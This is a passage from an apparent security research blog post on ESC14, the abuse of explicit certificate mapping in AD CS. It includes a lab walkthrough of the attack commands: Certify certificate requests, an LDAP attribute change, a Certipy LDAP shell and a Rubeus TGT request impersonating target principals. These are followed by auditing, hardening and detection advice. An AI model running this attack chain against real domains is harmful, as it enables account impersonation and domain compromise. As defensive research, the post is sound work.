-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAuZBBBQpcYyeTVbvkU8XfUFdDKQhJt5SAMUwMN9yJ6KyyHxsc
H+vMiEAUKIm4ZIAjoKqPuTxuHKP1uhNUuojzXukh5HX+f8Th/rur4L7+EBkNeXS6
…
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFwjCCBKqgAwIBAgITbAAAAC6y2Kutq0/uzAAAAAAALjANBgkqhkiG9w0BAQsF
ADBPMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGDAWBgoJkiaJk/IsZAEZFghleHRl
…
-----END CERTIFICATE-----
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Certify completed in 00:00:03.5868741
Note that the Subject field reflects the now changed distinguishedName
of VictimUserC. Certify will show the distinguishedName
in this field even though the Subject field of the issued certificate has the cn
of the enrollee.
We save the private key as cert-c.key
and the certificate as cert-c.pem
, and then create the cert-c.pfx
version of the certificate using certutil:
PS C:\> certutil -MergePFX .\cert-c.pem .\cert-c.pfx
Signature test passed
Enter new password for output file .\cert-c.pfx:
Enter new password:
Confirm new password:
CertUtil: -MergePFX command completed successfully.
Using certutil again, we can confirm the issuer and the subject of the certificate:
PS C:\> certutil -Dump -v .\cert-c.pfx
…
Issuer:
CN=external-EXTCA01-CA
DC=external
DC=local
…
Subject:
CN=TargetComputerC.external.local
…
We could request a Kerberos TGT for the target from DC02, as it supports weak mapping with PKINIT; however, DC01 has Schannel CertificateMappingMethods
set to 0x01, meaning that it supports X509IssuerSubject mapping over Schannel. We choose the Schannel option, and obtain an LDAP shell as the target using Certipy:
attacker@pc:~$ certipy auth -pfx cert-c.pfx -dc-ip 192.168.100.40 -ldap-shell
Certipy v4.8.2 - by Oliver Lyak (ly4k)[*] Connecting to 'ldaps://192.168.100.40:636'
[*] Authenticated to '192.168.100.40' as: u:EXTERNAL\TARGETCOMPUTERC$
Type help for list of commands
#
The LDAP shell allows us to impersonate the target principal and the compromise is complete.
The target user, TargetUserD, has the explicit mapping: X509:<S>CN=TargetUserD
. We (the attacker) need to set the dNSHostName
attribute to TargetUserD
on the victim, VictimComputerD, to get a certificate matching this mapping:
PS C:\> $victim = [ADSI]"LDAP://CN=EXTCA01,CN=Computers,DC=external,DC=local"
$victim.Properties["dNSHostName"].Value = "TargetUserD"
$victim.CommitChanges()
We use our admin session on VictimComputerD to request a certificate of the MachineNoSec certificate template as VictimComputerD, using Certify:
PS C:\> .\Certify.exe request /ca:extca01\external-EXTCA01-CA /template:MachineNoSec /machine _____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0
[*] Action: Request a Certificates
[*] Elevating to SYSTEM context for machine cert request
[*] Current user context : NT AUTHORITY\SYSTEM
[*] No subject name specified, using current machine as subject
[*] Template : MachineNoSec
[*] Subject : CN=VictimComputerD.external.local
[*] Certificate Authority : extca01\external-EXTCA01-CA
[*] CA Response : The certificate had been issued.
[*] Request ID : 50
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAyc9Kw7F4OekP1g9CbyaIMzWF5Io39ja2HvbjCPobwCt6O/8h
ZeDk/t7ygM7OvI9+He/B3/9F+DNw7W97YI36Yu+E9kNtevqeHvX85ddpev6HdqOM
…
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFdDCCBFygAwIBAgITbAAAADLH3vcISGchfwAAAAAAMjANBgkqhkiG9w0BAQsF
ADBPMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGDAWBgoJkiaJk/IsZAEZFghleHRl
…
-----END CERTIFICATE-----
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Certify completed in 00:00:03.6299258
We save the private key as cert-d.key
and the certificate as cert-d.pem
, and then create the cert-d.pfx
version of the certificate using certutil:
PS C:\> certutil -MergePFX .\cert-d.pem .\cert-d.pfx
Signature test passed
Enter new password for output file .\cert-d.pfx:
Enter new password:
Confirm new password:
CertUtil: -MergePFX command completed successfully.
Using certutil again, we can confirm the subject of the certificate:
PS C:\> certutil -Dump -v .\cert-d.pfx
…
Subject:
CN=TargetUserD
…
We use the certificate to request a Kerberos TGT for the target, using Rubeus. We need to use the DC that allows weak certificate mapping:
PS C:\tools> .\Rubeus.exe asktgt /user:TargetUserD /certificate:.\cert-d.pfx /dc:EXTDC02 ______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=TargetUserD
[*] Building AS-REQ (w/ PKINIT preauth) for: 'external.local\TargetUserD'
[*] Using domain controller: 192.168.100.40:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGXDCCBligAwIBBaEDAgEWooIFaDCCBWRhggVgMIIFXKADAgEFoRAbDkVYVEVSTkFMLkxPQ0FMoiMw…
ServiceName : krbtgt/external.local
ServiceRealm : EXTERNAL.LOCAL
UserName : TargetUserD
UserRealm : EXTERNAL.LOCAL
StartTime : 2/26/2024 11:57:48 AM
EndTime : 2/26/2024 9:57:48 PM
RenewTill : 3/4/2024 11:57:48 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : u0WGoEFTklhOaSwUasThzg==
ASREP (key) : A92922F14F3AE5F145CF7EC6F4A071CC
The TGT as the target allows us to impersonate the target principal and the compromise is complete.
The key enabler of ESC14 Scenario A is that the attacker has write access to the altSecurityIdentities
attribute of the target. For ESC14 Scenario B-D, it is that the target has a weak explicit mapping set in altSecurityIdentities
. Here is how to audit for those things.
You can use BloodHound to check your environment for compromising write permissions. BloodHound does not collect write access to the altSecurityIdentities
attribute and the Public-Information
property set, yet. Until we add that, you can use this PowerShell script to audit for those write permissions specifically: Get-WriteAltSecIDACEs.ps1.
You can check for principals configured with weak explicit mappings using Get-AltSecIDMapping.ps1:
PS C:\> Get-AltSecIDMapping -SearchBase "DC=external,DC=local" -ExcludeStrongCN=truster,CN=Users,DC=external,DC=local
X509:<I>C=US,O=JnternetCA,CN=APublicCertificateAuthority<S>C=US,O=Fabrikam,OU=Sales,CN=Jeff Smith
CN=t1-admin,CN=Users,DC=external,DC=local
X509:<RFC822>[email protected]
You should limit write access to altSecurityIdentities
to principals intended to have full control over the given user/computer.
Access control list (ACL) precedence (documented here) is tricky, especially because explicit Allow takes precedence over inherited Deny. I highly recommend you modify exciting permissions rather than implementing Deny access control entries (ACEs), to keep ACLs as simple as possible.
ACLs become even more tricky with ACEs granting write access to property sets like the Public-Information
property set. To avoid Deny ACEs, you could replace write access to the property set with write access to the individual attributes in the property set. That will, however, increase the number of ACEs significantly for large property sets like Public-Information
. Attributes can only belong to a single property set, so creating a custom property set containing a subset of an original property set is not an option unless you remove the attributes from the original one.
If you have principals with weak explicit mapping, then you should get those replaced with strong mappings, assuming the mappings are used at all. You can potentially keep using the same certificates; you just need to update the mappings to reference identifiers that attackers cannot reuse. If you use multiple certificates for the same principal, you might need to replace one mapping with multiple to reference all the certificates used for the given principal.
Check out the Explicit Certificate Mapping section for more details about the weak/strong mappings and how you can get, add, and remove them using PowerShell.
Be aware that Microsoft has stated that they will disable weak explicit mapping starting February 11, 2025 (KB5014754 — Certificate-based authentication changes on Windows domain controllers), so there is a deadline for getting rid of weak mappings anyway.
I recommend checking out the Detective Guidance section of the Certified Pre-Owned whitepaper and the sub-sections:
The sections outline how you can monitor certificate enrollment and authentication using certificate enrollment requests and Windows events.
Unfortunately, I have not found any Windows event IDs that reveal if explicit certificate mapping has been used for authentication, and (to my knowledge) there is no generic way to distinguish malicious enrollment requests and certificate authentication events from legitimate ones. However, collecting information about certificate enrollment and authentication, in general, ensures you have visibility into the environment and enables you to create a baseline for what is normal and alert on abnormal enrollment requests and certificate authentication events. This strategy is effective for ESC14 but also for other ADCS abuse techniques involving certificate enrollment and authentication.
Explicit mapping is also a thing in Microsoft Entra. Microsoft Entra Connect supports synchronizing the Entra ID attribute certificateUserIds
, which is used for certificate authentication, with the altSecurityIdentities
attribute of synced on-premises AD users: Mapping to the certificateUserIds attribute in Microsoft Entra ID.
It would be interesting to figure out to what extent write access to the altSecurityIdentities
attribute of a synced on-prem AD user can contribute to a compromise of the user’s Entra ID identity.
This blog post has explored the various manifestations of abusing ADCS explicit certificate mapping, categorized as ESC14. Weak explicit mappings in the altSecurityIdentities
attribute pose a serious risk for AD users and computers and should be avoided. Attackers can potentially obtain certificates that align with these mappings, enabling client authentication and subsequent impersonation of the target principals. Moreover, attackers with write access to altSecurityIdentities
can compromise principals, even if the DCs enforce strong certificate mapping. Therefore, it is crucial to restrict write access to the altSecurityIdentities
attribute to principals intended for full control.